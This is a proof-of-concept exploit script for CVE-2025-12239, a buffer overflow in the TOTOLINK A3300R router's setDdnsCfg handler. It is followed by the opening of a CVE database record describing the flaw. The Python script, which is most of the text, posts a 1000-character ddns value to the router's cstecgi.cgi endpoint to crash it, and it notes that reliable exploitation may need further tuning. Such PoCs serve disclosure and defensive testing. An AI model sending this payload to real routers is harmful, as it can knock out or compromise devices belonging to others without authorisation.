CVE-2025-12239

import requests # CVE-2025-12239 PoC - TOTOLINK A3300R setDdnsCfg Buffer Overflow # Target: TOTOLINK A3300R Router # Firmware: 17.0.0cu.557_B20221024 target_ip = "192.168.0.1" target_port = 80 target_url = f"http://{target_ip}:{target_port}/cgi-bin/cstecgi.cgi" # Generate payload with excessive length to trigger buffer overflow # The overflow occurs in setDdnsCfg function when processing ddns parameter overflow_length = 1000 payload = { "action": "setDdnsCfg", "ddns": "A" * overflow_length, # Overflow payload "username": "test", "password": "test" } print(f"[*] Sending buffer overflow payload to {target_url}") print(f"[*] Payload length: {overflow_length} bytes") try: response = requests.post(target_url, data=payload, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") # Note: This PoC demonstrates the vulnerability but may require # payload optimization for reliable exploitation

{"cve": {"id": "CVE-2025-12239", "sourceIdentifier": "[email protected]", "published": "2025-10-27T07:15:39.403", "lastModified": "2025-10-27T18:00:52.427", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in TOTOLINK A3300R 17.0.0cu.557_B20221024. The impacted element is the function setDdnsCfg of the file /cgi-bin/cstecgi.cgi. Executing manipulation can lead to buffer overflow. The attack may be performed from remote. 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